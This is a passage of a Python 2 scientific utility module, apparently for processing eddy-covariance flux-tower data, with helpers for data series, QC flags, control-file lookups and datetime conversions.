str(cf[section][ThisOne]['MergeSeries']['standard_name']) else: standardname = 'not defined' return mlist, standardname def GetPlotTitleFromCF(cf, nFig): if 'Plots' in cf: if str(nFig) in cf['Plots']: if 'Title' in cf['Plots'][str(nFig)]: Title = str(cf['Plots'][str(nFig)]['Title']) else: print 'GetPlotTitleFromCF: Variables key not in control file for plot '+str(nFig) else: print 'GetPlotTitleFromCF: '+str(nFig)+' key not in Plots section of control file' else: print 'GetPlotTitleFromCF: Plots key not in control file' return Title def GetPlotVariableNamesFromCF(cf, n): if 'Plots' in cf: if str(n) in cf['Plots']: if 'Variables' in cf['Plots'][str(n)]: SeriesList = eval(cf['Plots'][str(n)]['Variables']) else: print 'GetPlotVariableNamesFromCF: Variables key not in control file for plot '+str(n) else: print 'GetPlotVariableNamesFromCF: '+str(n)+' key not in Plots section of control file' else: print 'GetPlotVariableNamesFromCF: Plots key not in control file' return SeriesList def GetSeries(ds,ThisOne,si=0,ei=-1,mode="truncate"): """ Returns the data, QC flag and attributes of a series from the data structure.""" # number of records if "nc_nrecs" in ds.globalattributes: nRecs = int(ds.globalattributes["nc_nrecs"]) else: nRecs = len(ds.series[ThisOne]["Data"]) # check the series requested is in the data structure if ThisOne in ds.series.keys(): # series is in the data structure if isinstance(ds.series[ThisOne]['Data'],list): # return a list if the series is a list Series = list(ds.series[ThisOne]['Data']) elif isinstance(ds.series[ThisOne]['Data'],numpy.ndarray): # return a numpy array if series is an array Series = ds.series[ThisOne]['Data'].copy() # now get the QC flag if 'Flag' in ds.series[ThisOne].keys(): # return the QC flag if it exists Flag = ds.series[ThisOne]['Flag'].copy() else: # create a QC flag if one does not exist Flag = numpy.zeros(nRecs,dtype=numpy.int32) # now get the attribute dictionary if "Attr" in ds.series[ThisOne].keys(): Attr = GetAttributeDictionary(ds,ThisOne) else: Attr = MakeAttributeDictionary() else: # make an empty series if the requested series does not exist in the data structure Series,Flag,Attr = MakeEmptySeries(ds,ThisOne) # tidy up if ei==-1: ei = nRecs - 1 if mode=="truncate": # truncate to the requested start and end indices si = max(0,si) # clip start index at 0 ei = min(nRecs,ei) # clip end index to nRecs Series = Series[si:ei+1] # truncate the data Flag = Flag[si:ei+1] # truncate the QC flag elif mode=="pad": # pad with missing data at the start and/or the end of the series if si<0 and ei>nRecs-1: # pad at the start Series = numpy.append(float(c.missing_value)*numpy.ones(abs(si),dtype=numpy.float64),Series) Flag = numpy.append(numpy.ones(abs(si),dtype=numpy.int32),Flag) # pad at the end Series = numpy.append(Series,float(c.missing_value)*numpy.ones((ei-(nRecs-1)),dtype=numpy.float64)) Flag = numpy.append(Flag,numpy.ones((ei-(nRecs-1)),dtype=numpy.int32)) elif si<0 and ei<=nRecs-1: # pad at the start, truncate the end Series = numpy.append(float(c.missing_value)*numpy.ones(abs(si),dtype=numpy.float64),Series[:ei+1]) Flag = numpy.append(numpy.ones(abs(si),dtype=numpy.int32),Flag[:ei+1]) elif si>=0 and ei>nRecs-1: # truncate at the start, pad at the end Series = numpy.append(Series[si:],float(c.missing_value)*numpy.ones((ei-(nRecs-1)),numpy.float64)) Flag = numpy.append(Flag[si:],numpy.ones((ei-(nRecs-1)),dtype=numpy.int32)) elif si>=0 and ei<=nRecs-1: # truncate at the start and end Series = Series[si:ei+1] Flag = Flag[si:ei+1] else: msg = 'GetSeries: unrecognised combination of si ('+str(si)+') and ei ('+str(ei)+')' raise ValueError(msg) elif mode=="mirror": # reflect data about end boundaries if si or ei are out of bounds if si<0 and ei>nRecs-1: # mirror at the start Series = numpy.append(numpy.fliplr([Series[1:abs(si)+1]])[0],Series) Flag = numpy.append(numpy.fliplr([Flag[1:abs(si)+1]])[0],Flag) # mirror at the end sim = 2*nRecs-1-ei eim = nRecs-1 Series = numpy.append(Series,numpy.fliplr([Series[sim:eim]])[0]) Flag = numpy.append(Flag,numpy.fliplr([Flag[sim:eim]])[0]) elif si<0 and ei<=nRecs-1: # mirror at start, truncate at end Series = numpy.append(numpy.fliplr([Series[1:abs(si)+1]])[0],Series[:ei+1]) Flag = numpy.append(numpy.fliplr([Flag[1:abs(si)+1]])[0],Flag[:ei+1]) elif si>=0 and ei>nRecs-1: # truncate at start, mirror at end sim = 2*nRecs-1-ei eim = nRecs Series = numpy.append(Series[si:],numpy.fliplr([Series[sim:eim]])[0]) Flag = numpy.append(Flag[si:],numpy.fliplr([Flag[sim:eim]])[0]) elif si>=0 and ei<=nRecs-1: # truncate at the start and end Series = Series[si:ei+1] Flag = Flag[si:ei+1] else: msg = 'GetSeries: unrecognised combination of si ('+str(si)+') and ei ('+str(ei)+')' raise ValueError(msg) else: raise ValueError("GetSeries: unrecognised mode option "+str(mode)) return Series,Flag,Attr def MakeEmptySeries(ds,ThisOne): nRecs = int(ds.globalattributes['nc_nrecs']) Series = float(c.missing_value)*numpy.ones(nRecs,dtype=numpy.float64) Flag = numpy.ones(nRecs,dtype=numpy.int32) Attr = MakeAttributeDictionary() return Series,Flag,Attr def GetSeriesasMA(ds,ThisOne,si=0,ei=-1,mode="truncate"): """ Purpose: Returns a data series and the QC flag series from the data structure. Usage: data,flag,attr = qcutils.GetSeriesasMA(ds,label,si=0,ei=-1) where the arguments are; ds - the data structure (dict) label - label of the data series in ds (string) si - start index (integer), default 0 ei - end index (integer), default -1 and the returned values are; data - values for the requested series in ds (numpy masked array, float64) flag - QC flag for the requested series in ds (numpy masked array, int32) attr - attribute dictionary for series Example: The code snippet below will return the incoming shortwave data values (Fsd) and the associated QC flag (f) as numpy masked arrays; ds = qcio.nc_read_series("HowardSprings_2011_L3.nc") Fsd,f,a = qcutils.GetSeriesasMA(ds,"Fsd") Author: PRI """ Series,Flag,Attr = GetSeries(ds,ThisOne,si=si,ei=ei,mode=mode) Series,WasND = SeriestoMA(Series) return Series,Flag,Attr def GetVariableAsDictionary(ds,label,si=0,ei=-1,mode="truncate"): """ Purpose: Returns a data variable from the data structure as a dictionary. Usage: data,flag,attr = qcutils.GetSeriesasMA(ds,label,si=0,ei=-1) where the arguments are; ds - the data structure (dict) label - label of the data variable in ds (string) si - start index (integer), default 0 ei - end index (integer), default -1 and the returned values are; The data are returned as a dictionary; variable["label"] - variable label in data structure variable["data"] - numpy float64 masked array containing data variable["flag"] - numpy int32 array containing QC flags variable["attr"] - dictionary of variable attributes Example: The code snippet below will return the incoming shortwave data values (Fsd), the associated QC flag and the variable attributes; ds = qcio.nc_read_series("HowardSprings_2011_L3.nc") Fsd = qcutils.GetSeriesAsDict(ds,"Fsd") Author: PRI """ ldt,flag,attr = GetSeries(ds,"DateTime",si=si,ei=ei,mode=mode) data,flag,attr = GetSeries(ds,label,si=si,ei=ei,mode=mode) data,WasND = SeriestoMA(data) variable = {"Label":label,"Data":data,"Flag":flag,"Attr":attr,"DateTime":numpy.array(ldt)} return variable def GetUnitsFromds(ds, ThisOne): units = ds.series[ThisOne]['Attr']['units'] return units def get_cfsection(cf,series='',mode='quiet'): ''' Find the section in the control file that contains an entry for the series "series". USEAGE: section = qcutils.get_cfsection(cf,series=<series_name>) INPUT: cf - a control file object (from ConfigObj) <series_name> - the name of the series (string) RETURNS: section - the name of the section containing an entry for <series_name> (string) Note that the returned section name is an empty string if there is no entry for <series_name> in the control file. ''' section = '' sectionlist = ['Variables','Drivers','Fluxes','Respiration','Partition','ER','GPP','NEE'] if len(series)==0: msgtxt = ' get_cfsection: no input series specified' if mode!='quiet': log.info(msgtxt) return section for ThisSection in sectionlist: if ThisSection in cf.keys(): if series in cf[ThisSection]: section = ThisSection if len(section)==0: msgtxt = ' get_cfsection: series '+str(series)+' not found in control file' if mode!='quiet': log.info(msgtxt) return section def get_coverage_groups(ds,rad=None,met=None,flux=None,soil=None): level = "L1" if "nc_level" in ds.globalattributes: level = str(ds.globalattributes["nc_level"]) rad = ['Fsd','Fsu','Fld','Flu','Fn'] met = ['Ah','Cc','Precip','ps','Ta','Ws','Wd'] flux = ['Fm','ustar','Fh','Fe','Fc'] soil = ['Fg','Ts','Sws'] for ThisGroup, ThisLabel in zip([rad,met,flux,soil],['radiation','meteorology','flux','soil']): sum_coverage = float(0); count = float(0) for ThisOne in ThisGroup: if ThisOne in ds.series.keys(): sum_coverage = sum_coverage + float(ds.series[ThisOne]['Attr']['coverage_'+level]) count = count + 1 if count!=0: coverage_group = sum_coverage/count else: coverage_group = 0 ds.globalattributes['coverage_'+ThisLabel+'_'+level] = str('%d'%coverage_group) def get_coverage_individual(ds): level = "L1" if "nc_level" in ds.globalattributes: level = str(ds.globalattributes["nc_level"]) SeriesList = ds.series.keys() for ThisOne in ["DateTime","DateTime_UTC"]: if ThisOne in SeriesList: SeriesList.remove(ThisOne) for ThisOne in SeriesList: num_good = len(numpy.where(abs(ds.series[ThisOne]['Data']-float(c.missing_value))>c.eps)[0]) coverage = 100*float(num_good)/float(ds.globalattributes['nc_nrecs']) ds.series[ThisOne]['Attr']['coverage_'+level] = str('%d'%coverage) def get_datetimefromnctime(ds,time,time_units): """ Purpose: Create a series of datetime objects from the time read from a netCDF file. Usage: qcutils.get_datetimefromnctime(ds,time,time_units) Side effects: Creates a Python datetime series in the data structure Author: PRI Date: September 2014 """ ts = int(ds.globalattributes["time_step"]) nRecs = int(ds.globalattributes["nc_nrecs"]) dt = netCDF4.num2date(time,time_units) ds.series[unicode("DateTime")] = {} ds.series["DateTime"]["Data"] = list(dt) ds.series["DateTime"]["Flag"] = numpy.zeros(nRecs) ds.series["DateTime"]["Attr"] = {} ds.series["DateTime"]["Attr"]["long_name"] = "Datetime in local timezone" ds.series["DateTime"]["Attr"]["units"] = "None" def get_datetimefromxldate(ds): ''' Creates a series of Python datetime objects from the Excel date read from the Excel file. Thanks to John Machin for the quick and dirty code see http://stackoverflow.com/questions/1108428/how-do-i-read-a-date-in-excel-format-in-python''' log.info(' Getting the Python datetime series from the Excel datetime') xldate = ds.series['xlDateTime']['Data'] nRecs = len(ds.series['xlDateTime']['Data']) datemode = int(ds.globalattributes['xl_datemode']) ds.series[unicode('DateTime')] = {} ds.series['DateTime']['Data'] = [None]*nRecs basedate = datetime.datetime(1899, 12, 30) #ldt = [basedate + datetime.timedelta(days=xldate[i] + 1462 * datemode) for i in range(nRecs)] #ds.series['DateTime']['Data'][i] = ldt for i in range(nRecs): ds.series['DateTime']['Data'][i] = basedate + datetime.timedelta(days=xldate[i] + 1462 * datemode) ds.series['DateTime']['Flag'] = numpy.zeros(nRecs) ds.series['DateTime']['Attr'] = {} ds.series['DateTime']['Attr']['long_name'] = 'Datetime in local timezone' ds.series['DateTime']['Attr']['units'] = 'None' def get_datetimefromymdhms(ds): ''' Creates a series of Python datetime objects from the year, month, day, hour, minute and second series stored in the netCDF file.''' SeriesList = ds.series.keys() if 'Year' not in SeriesList or 'Month' not in SeriesList or 'Day' not in SeriesList or 'Hour' not in SeriesList or 'Minute' not in SeriesList or 'Second' not in SeriesList: log.info(' get_datetimefromymdhms: unable to find all datetime fields required') return log.info(' Getting the date and time series') nRecs = get_nrecs(ds) ts = ds.globalattributes["time_step"] ds.series[unicode('DateTime')] = {} ds.series['DateTime']['Data'] = [None]*nRecs if "Microseconds" in ds.series.keys(): microseconds = ds.series["Microseconds"]["Data"] else: microseconds = numpy.zeros(nRecs,dtype=numpy.float64) for i in range(nRecs): #print i,int(ds.series['Year']['Data'][i]),int(ds.series['Month']['Data'][i]),int(ds.series['Day']['Data'][i]) #print i,int(ds.series['Hour']['Data'][i]),int(ds.series['Minute']['Data'][i]),int(ds.series['Second']['Data'][i]) ds.series['DateTime']['Data'][i] = datetime.datetime(int(ds.series['Year']['Data'][i]), int(ds.series['Month']['Data'][i]), int(ds.series['Day']['Data'][i]), int(ds.series['Hour']['Data'][i]), int(ds.series['Minute']['Data'][i]), int(ds.series['Second']['Data'][i]), int(microseconds[i])) ds.series['DateTime']['Flag'] = numpy.zeros(nRecs) ds.series['DateTime']['Attr'] = {} ds.series['DateTime']['Attr']['long_name'] = 'Date-time object' ds.series['DateTime']['Attr']['units'] = 'None' def get_diurnalstats(dt,data,info): ts = info["time_step"] nperday = info["nperday"] si = 0 while abs(dt[si].hour+float(dt[si].minute)/60-float(ts)/60)>c.eps: si = si + 1 ei = len(dt)-1 while abs(dt[ei].hour+float(dt[ei].minute)/60)>c.eps: ei = ei - 1 data_wholedays = data[si:ei+1] ndays = len(data_wholedays)/nperday data_2d = numpy.ma.reshape(data_wholedays,[ndays,nperday]) diel_stats = {} diel_stats["Hr"] = numpy.ma.array([i*ts/float(60) for i in range(0,nperday)]) diel_stats["Av"] = numpy.ma.average(data_2d,axis=0) diel_stats["Sd"] = numpy.ma.std(data_2d,axis=0) diel_stats["Mx"] = numpy.ma.max(data_2d,axis=0) diel_stats["Mn"] = numpy.ma.min(data_2d,axis=0) return diel_stats def get_keyvaluefromcf(cf,sections,key,default=None,mode="quiet"): """ Purpose: General return a keyword value from a control file. Usage: keyval = qcutils.get_keyvaluefromcf(cf,sections,key,default=default) where cf is a control file object from ConfigObj sections is a list of sections and nested sub-sections to search key is the keyword default is a default value Example: ncOutFileName = qcutils.get_keyvaluefromcf(cf,["Files","Out"],"ncFileName",default="") The example above will return the value for ncFileName from the ["Files"]["Out"] sub-section in the control file. Author: PRI Date: February 2015 """ if len(sections)<1: msg = " get_keyvaluefromsections: no sections specified" if mode.lower()!="quiet": log.info(msg) if sections[0] in cf: section = cf[sections[0]] if len(sections)>1: for item in sections[1:]: if item in section: section = section[item] else: msg = " get_keyvaluefromcf: Sub section "+item+" not found in control file, used default ("+str(default)+")" if mode.lower()!="quiet": log.info(msg) value = default if key in section: value = section[key] else: msg = " get_keyvaluefromcf: Key "+key+" not found in section, used default ("+str(default)+")" if mode.lower()!="quiet": log.info(msg) value = default else: msg = " get_keyvaluefromcf: Section "+sections[0]+" not found in control file, used default ("+str(default)+")" if mode.lower()!="quiet": log.error(msg) value = default return value def get_label_list_from_cf(cf): """ Purpose: Returns a list of variable labels from a control file. Usage: label_list = qcutils.get_label_list_from_cf(cf) where cf is a control file object label_list is a list of variable labels referenced in the control file. """ if "Variables" in cf: label_list = cf["Variables"].keys() elif "Drivers" in cf: label_list = cf["Drivers"].keys() elif "Fluxes" in cf: label_list = cf["Fluxes"].keys() else: label_list = [] msg = "No Variables, Drivers or Fluxes section found in control file" log.error(msg) return label_list def get_missingingapfilledseries(ds): """ Purpose: Check series in data structure and print a message to the screen if missing points are found. Usage: gfalternate_checkformissing(ds,series_list=series_list) where ds is a data structure series_list is a list of series to check Author: PRI Date: March 2015 """ # get a local pointer to the datetime ldt = ds.series["DateTime"]["Data"] # create an empty list alt_list = [] # check to see if there was any gap filling using data from alternate sources if "alternate" in dir(ds): # if so, get a list of the quantities gap filled from alternate sources alt_list = list(set([ds.alternate[item]["label_tower"] for item in ds.alternate.keys()])) # create an empty list cli_list = [] # check to see if there was any gap filling from climatology if "climatology" in dir(ds): # if so, get a list of the quantities gap filled using climatology cli_list = list(set([ds.climatology[item]["label_tower"] for item in ds.climatology.keys()])) # one list to rule them, one list to bind them ... gf_list = list(set(alt_list+cli_list)) # clear out if there was no gap filling if len(gf_list)==0: return # loop over the series to be checked gap_found = False for series in gf_list: if series not in ds.series.keys(): continue data,flag,attr = GetSeriesasMA(ds,series) idx = numpy.ma.where(data.mask==True)[0] if len(idx)!=0: gap_found = True msg = " Missing points ("+str(len(idx))+") found in "+series log.error(msg) #ldt_missing = [ldt[i] for i in idx] #msg = " The first 10 missing data is at datetimes "+str(ldt_missing[0:9]) #log.error(msg) if not gap_found: msg = " No missing values found in gap filled series" log.info(msg) def get_number_from_heightstring(height): z = str(height) if "m" in z: z = z.replace("m","") try: z = float(z) except: z = 0.0 return z def get_nrecs(ds): if 'nc_nrecs' in ds.globalattributes.keys(): nRecs = int(ds.globalattributes['nc_nrecs']) elif 'NumRecs' in ds.globalattributes.keys(): nRecs = int(ds.globalattributes['NumRecs']) else: series_list = ds.series.keys() nRecs = len(ds.series[series_list[0]]['Data']) return nRecs def get_timestep(ds): """ Purpose: Return an array of time steps in seconds between records Useage: dt = qcutils.get_timestep(ds) Author: PRI Date: February 2015 """ # local pointer to the Python datetime series ldt = ds.series["DateTime"]["Data"] # time step between records in seconds dt = numpy.array([(ldt[i]-ldt[i-1]).total_seconds() for i in range(1,len(ldt))]) return dt def get_timezone(site_name,prompt="no"): """ Return the time zone based on the site name.""" time_zone = "" found = False # strip out spaces and commas from the site name site_name = site_name.replace(" ","").replace(",","") for item in c.tz_dict.keys(): if item in site_name.lower(): time_zone = c.tz_dict[item] found = True else: # cant find the site in the dictionary so ask the user if prompt.lower()=="yes": root = Tkinter.Tk(); root.withdraw() time_zone = tkSimpleDialog.askstring("Time zone","Enter time zone eg Australia/Melbourne") root.destroy() found = True return time_zone,found def get_UTCfromlocaltime(ds): ''' Purpose: Creates a UTC datetime series in the data structure from the local datetime series. Usage: ldt_UTC = qcutils.get_UTCfromlocaltime(ds) Assumptions: No daylight savings used in the local datetime Author: PRI ''' # check the time_zone global attribute is set, we cant continue without it if "time_zone" not in ds.globalattributes.keys(): log.warning("get_UTCfromlocaltime: time_zone not in global attributes, checking elsewhere ...") if "site_name" in ds.globalattributes.keys(): site_name = ds.globalattributes["site_name"] else: log.warning("get_UTCfromlocaltime: site_name not in global attributes, skipping UTC calculation ...") return time_zone,found = get_timezone(site_name,prompt="no") if not found: log.warning("get_UTCfromlocaltime: site_name not in time zone dictionary") return else: log.info("get_UTCfromlocaltime: time_zone found in time zone dictionary") ds.globalattributes["time_zone"] = time_zone log.info(' Getting the UTC datetime from the local datetime') # get the number of records nRecs = len(ds.series['xlDateTime']['Data']) # get the time zone tz = ds.globalattributes["time_zone"] # create a timezone object loc_tz = pytz.timezone(tz) # local pointer to the datetime series in ds ldt = ds.series["DateTime"]["Data"] # localise the datetime by assigning a time zone ldt_loc = [loc_tz.localize(dt) for dt in ldt] # remove any daylight saving time ldt_loc_nodst = [dt+dt.dst() for dt in ldt_loc] # convert to UTC ldt_utc = [dt.astimezone(pytz.utc) for dt in ldt_loc_nodst] return ldt_utc def get_xldatefromdatetime(ds): ''' Purpose: Returns a list of xldatetime (floating point number represent decimal days since 00:00 1/1/1900) from a list of Python datetimes Usage: qcutils.get_xldatefromdatetime(ds) Assumptions: The Excel datetime series ("xlDateTime") exists in the data structure ds. Author: PRI ''' # get the datemode of the original Excel spreadsheet if "xl_datemode" in ds.globalattributes.keys(): datemode = int(ds.globalattributes["xl_datemode"]) else: datemode = int(0) nRecs = int(ds.globalattributes["nc_nrecs"]) # get the Excel datetime series, flag and attributes if "xlDateTime" in ds.series.keys(): xldt_org,xldt_flag,xldt_attr = GetSeriesasMA(ds,"xlDateTime") else: xldt_flag = numpy.zeros(nRecs,dtype=numpy.int32) xldt_attr = MakeAttributeDictionary(long_name="Date/time in Excel format",units="days since 1899-12-31 00:00:00") # get a local pointer to the Python DateTime series in ds ldt = ds.series["DateTime"]["Data"] # get a list of Excel datetimes from the Python datetime objects xldate = [xlrd.xldate.xldate_from_datetime_tuple((ldt[i].year, ldt[i].month, ldt[i].day, ldt[i].hour, ldt[i].minute, ldt[i].second), datemode) for i in range(0,len(ldt))] xldt_new = numpy.ma.array(xldate, dtype=numpy.float64) # overwrite the existing Excel datetime series CreateSeries(ds,"xlDateTime",xldt_new,Flag=xldt_flag,Attr=xldt_attr) def get_ymdhmsfromdatetime(ds): ''' Purpose: Gets the year, month, day, hour, minute and second from a list of Python datetimes. The Python datetime series is read from the input data structure and the results are written back to the data structure. Usage: qcutils.get_ymdhmsfromdatetime(ds) Assumptions: None Author: PRI ''' nRecs = int(ds.globalattributes["nc_nrecs"]) dt = ds.series["DateTime"]["Data"] flag = numpy.zeros(nRecs,dtype=numpy.int32) Year = numpy.array([dt[i].year for i in range(0,nRecs)]).astype(numpy.int32) Month = numpy.array([dt[i].month for i in range(0,nRecs)]).astype(numpy.int32) Day = numpy.array([dt[i].day for i in range(0,nRecs)]).astype(numpy.int32) Hour = numpy.array([dt[i].hour for i in range(0,nRecs)]).astype(numpy.int32) Minute = numpy.array([dt[i].minute for i in range(0,nRecs)]).astype(numpy.int32) Second = numpy.array([dt[i].second for i in range(0,nRecs)]).astype(numpy.int32) Hdh = numpy.array([float(Hour[i])+float(Minute[i])/60. for i in range(0,nRecs)]).astype(numpy.float64) Ddd = numpy.array([(dt[i] - datetime.datetime(Year[i],1,1)).days+1+Hdh[i]/24. for i in range(0,nRecs)]).astype(numpy.float64) CreateSeries(ds,'Year',Year,Flag=flag,Attr=MakeAttributeDictionary(long_name='Year',units='none')) CreateSeries(ds,'Month',Month,Flag=flag,Attr=MakeAttributeDictionary(long_name='Month',units='none')) CreateSeries(ds,'Day',Day,Flag=flag,Attr=MakeAttributeDictionary(long_name='Day',units='none')) CreateSeries(ds,'Hour',Hour,Flag=flag,Attr=MakeAttributeDictionary(long_name='Hour',units='none')) CreateSeries(ds,'Minute',Minute,Flag=flag,Attr=MakeAttributeDictionary(long_name='Minute',units='none')) CreateSeries(ds,'Second',Second,Flag=flag,Attr=MakeAttributeDictionary(long_name='Second',units='none')) CreateSeries(ds,'Hdh',Hdh,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal hour of the day',units='none')) CreateSeries(ds,'Ddd',Ddd,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal day of the year',units='none')) def get_ymdhmsfromxldate(ds): """ Gets year, month, day, hour, and if available seconds, from excel-formatted Timestamp Usage qcts.get_ymdhmsfromxldate(ds) cf: control file ds: data structure """ log.info(' Getting date and time variables') # get the date mode of the original Excel datetime datemode = int(ds.globalattributes['xl_datemode']) nRecs = len(ds.series['xlDateTime']['Data']) Year = numpy.array([c.missing_value]*nRecs,numpy.int32) Month = numpy.array([c.missing_value]*nRecs,numpy.int32) Day = numpy.array([c.missing_value]*nRecs,numpy.int32) Hour = numpy.array([c.missing_value]*nRecs,numpy.int32) Minute = numpy.array([c.missing_value]*nRecs,numpy.int32) Second = numpy.array([c.missing_value]*nRecs,numpy.int32) Hdh = numpy.array([c.missing_value]*nRecs,numpy.float64) Ddd = numpy.array([c.missing_value]*nRecs,numpy.float64) flag = numpy.zeros(nRecs) for i in range(nRecs): DateTuple = xlrd.xldate_as_tuple(ds.series['xlDateTime']['Data'][i],datemode) Year[i] = int(DateTuple[0]) Month[i] = int(DateTuple[1]) Day[i] = int(DateTuple[2]) Hour[i] = int(DateTuple[3]) Minute[i] = int(DateTuple[4]) Second[i] = int(DateTuple[5]) Hdh[i] = float(DateTuple[3])+float(DateTuple[4])/60. Ddd[i] = ds.series['xlDateTime']['Data'][i] - xlrd.xldate.xldate_from_date_tuple((Year[i],1,1),datemode) + 1 CreateSeries(ds,'Year',Year,Flag=flag,Attr=MakeAttributeDictionary(long_name='Year',units='none')) CreateSeries(ds,'Month',Month,Flag=flag,Attr=MakeAttributeDictionary(long_name='Month',units='none')) CreateSeries(ds,'Day',Day,Flag=flag,Attr=MakeAttributeDictionary(long_name='Day',units='none')) CreateSeries(ds,'Hour',Hour,Flag=flag,Attr=MakeAttributeDictionary(long_name='Hour',units='none')) CreateSeries(ds,'Minute',Minute,Flag=flag,Attr=MakeAttributeDictionary(long_name='Minute',units='none')) CreateSeries(ds,'Second',Second,Flag=flag,Attr=MakeAttributeDictionary(long_name='Second',units='none')) CreateSeries(ds,'Hdh',Hdh,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal hour of the day',units='none')) CreateSeries(ds,'Ddd',Ddd,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal day of the year',units='none')) def haskey(cf,ThisOne,key): return key in cf['Variables'][ThisOne].keys() def incf(cf,ThisOne): return ThisOne in cf['Variables'].keys() def linear_function(B,x): """ Purpose: Linear function for use with orthogonal distance regression. Usage: linear = scipy.odr.Model(qcutils.linear_function) where B is a list of slope and offset values x is an array of x values """ return B[0]*x + B[1] def MakeAttributeDictionary(**kwargs): """ Purpose: Make an attribute dictionary. Usage: attr_new = qcutils.MakeAttributeDictionary(long_name = "some string",attr_exist) where long_name is an attribute to be written to the new attribute dictionary attr_exist is an existing attribute dictionary Author: PRI Date: Back in the day """ default_list = ["ancillary_variables","height","instrument","long_name","serial_number","standard_name", "units","valid_range"] attr = {} for item in kwargs: if isinstance(item, dict): for entry in item: attr[entry] = item[entry] else: attr[item] = kwargs.get(item,"not defined") if item in default_list: default_list.remove(item) if len(default_list)!=0: for item in default_list: if item == "valid_range": attr[item] = str(c.small_value)+","+str(c.large_value) else: attr[item] = "not defined" attr["missing_value"] = c.missing_value return copy.deepcopy(attr) def MakeQCFlag(ds,SeriesList): flag = [] if len(SeriesList)<=0: #log.info(' MakeQCFlag: no series list specified') pass if len(SeriesList)==1: if SeriesList[0] in ds.series.keys(): flag = ds.series[SeriesList[0]]['Flag'].copy() else: log.error(' MakeQCFlag: series '+str(SeriesList[0])+' not in ds.series') if len(SeriesList)>1: for ThisOne in SeriesList: if ThisOne in ds.series.keys(): if len(flag)==0: #flag = numpy.ones(numpy.size(ds.series[ThisOne]['Flag'])) flag = ds.series[ThisOne]['Flag'].copy() else: tmp_flag = ds.series[ThisOne]['Flag'].copy() # get a temporary copy of the flag index = numpy.where(numpy.mod(tmp_flag,10)==0) # find the elements with flag = 0, 10, 20 etc tmp_flag[index] = 0 # set them all to 0 flag = numpy.maximum(flag,tmp_flag) # now take the maximum else: log.error(' MakeQCFlag: series '+ThisOne+' not in ds.series') return flag.astype(numpy.int32) def MAtoSeries(Series): """ Convert a masked array to a numpy ndarray with masked elements set to c.missing_value. Useage: Series, WasMA = MAtoSeries(Series) where: Series (input) is the data series to be converted. WasMA (returned) is a logical, True if the input series was a masked array. Series (output) is the input series convered to an ndarray with c.missing_value values for missing data. """ WasMA = False if numpy.ma.isMA(Series): WasMA = True Series = numpy.ma.filled(Series,float(c.missing_value)) return Series, WasMA def MergeQCFlag(QCFlag_list): """ Merge a list of QC flags by taking the element-wise maximum.""" if len(QCFlag_list)==0: return None if len(QCFlag_list)==1: return QCFlag_list[0] flag = QCFlag_list[0].copy() # get a copy of the first flag for item in QCFlag_list[1:]: # loop over the list of flags tmp_flag = item.copy() # get a copy of the next flag index = numpy.where(numpy.mod(tmp_flag,10)==0) # find the elements with flag = 0, 10, 20 etc tmp_flag[index] = 0 # set them all to 0 flag = numpy.maximum(flag,tmp_flag) # now take the maximum return flag def nxMom_nxScalar_alpha(zoL): nRecs = numpy.size(zoL) nxMom = numpy.ma.ones(nRecs) * 0.079 nxScalar = numpy.ma.ones(nRecs) * 0.085 alpha = numpy.ma.ones(nRecs) * 0.925 # get the index of stable conditions stable = numpy.ma.where(zoL>0)[0] # now set the series to their stable values nxMom[stable] = 0.079 * (1 + 7.9 * zoL[stable]) ** 0.75 nxScalar[stable] = 2.0 - 1.915 / (1 + 0.5 * zoL[stable]) alpha[stable] = 1 return nxMom, nxScalar, alpha def path_exists(pathname,mode="verbose"): if not os.path.isdir(pathname): if mode=="verbose": log.error(' Path '+pathname+' not found') return False else: return True def perdelta(start, end, delta): """ Yields an iterator of datetime objects from start to end with time step delta. """ curr = start while curr <= end: yield curr curr += delta def polyval(p,x): """ Replacement for the polyval routine in numpy. This version doesnt check the input variables to make sure they are array_like. This means that when masked arrays are treated correctly when they are passed to this routine. Parameters ---------- p : a 1D array of coefficients, highest order first x : a 1D array of points at which to evaluate the polynomial described by the coefficents in p Example ------- >>> x = numpy.array([1,2,3]) >>> p = numpy.array([2,0]) >>> qcutils.polyval(p,x) array([2,4,6]) >>> y = numpy.array([1,c.missing_value,3]) >>> y = numpy.ma.masked_where(y==c.missing_value,y) >>> qcutils.polyval(p,y) masked_array(data = [2 -- 6], mask = [False True False], fill_value = 999999) """ y = 0 for i in range(len(p)): y = x*y + p[i] return y def rounddttots(dt,ts=30): dt += datetime.timedelta(minutes=int(ts/2)) dt -= datetime.timedelta(minutes=dt.minute % int(ts),seconds=dt.second,microseconds=dt.microsecond) return dt def rounddttoseconds(dt): dt += datetime.timedelta(seconds=0.5) dt -= datetime.timedelta(seconds=dt.second % 1,microseconds=dt.microsecond) return dt def round_datetime(ds,mode="nearest_timestep"): """ Purpose: Round the series of Python datetimes to the nearest time based on mode Usage: qcutils.round_datetime(ds,mode=mode) where; mode = "nearest_second" rounds to the nearesy second mode = "nearest_timestep" rounds to the nearest time step Author: PRI Date: February 2015 """ # local pointer to the datetime series ldt = ds.series["DateTime"]["Data"] # check which rounding option has been chosen if mode.lower()=="nearest_timestep": # get the time step if "time_step" in ds.globalattributes: ts = int(ds.globalattributes["time_step"]) else: ts = numpy.mean(get_timestep(ds)/60) ts = roundtobase(ts,base=30) ds.globalattributes["time_step"] = ts # round to the nearest time step rldt = [rounddttots(dt,ts=ts) for dt in ldt] elif mode.lower()=="nearest_second": # round to the nearest second rldt = [rounddttoseconds(dt) for dt in ldt] else: # unrecognised option for mode, return original datetime series log.error(" round_datetime: unrecognised mode ("+str(mode)+")"+" ,returning original time series") rldt = ds.series["DateTime"]["Data"] # replace the original datetime series with the rounded one ds.series["DateTime"]["Data"] = rldt def roundtobase(x,base=5): return int(base*round(float(x)/base)) def round2sig(x,sig=2): ''' Round a float to a specified number of significant digits (default is 2). ''' return round(x, sig-int(math.floor(math.log10(abs(x))))-1) def r(b, p, alpha): """ Function to calculate the r coeficient of the Massman frequency correction. """ r = ((b ** alpha) / (b ** alpha + 1)) * \ ((b ** alpha) / (b ** alpha + p ** alpha)) * \ (1 / (p ** alpha + 1)) return r def SeriestoMA(Series): """ Convert a numpy ndarray to a masked array. Useage: Series, WasND = SeriestoMA(Series) where: Series (input) is the data series to be converted. WasND (returned) is a logical, True if the input series was an ndarray Series (output) is the input series convered to a masked array. """ WasND = False if not numpy.ma.isMA(Series): WasND = True Series = 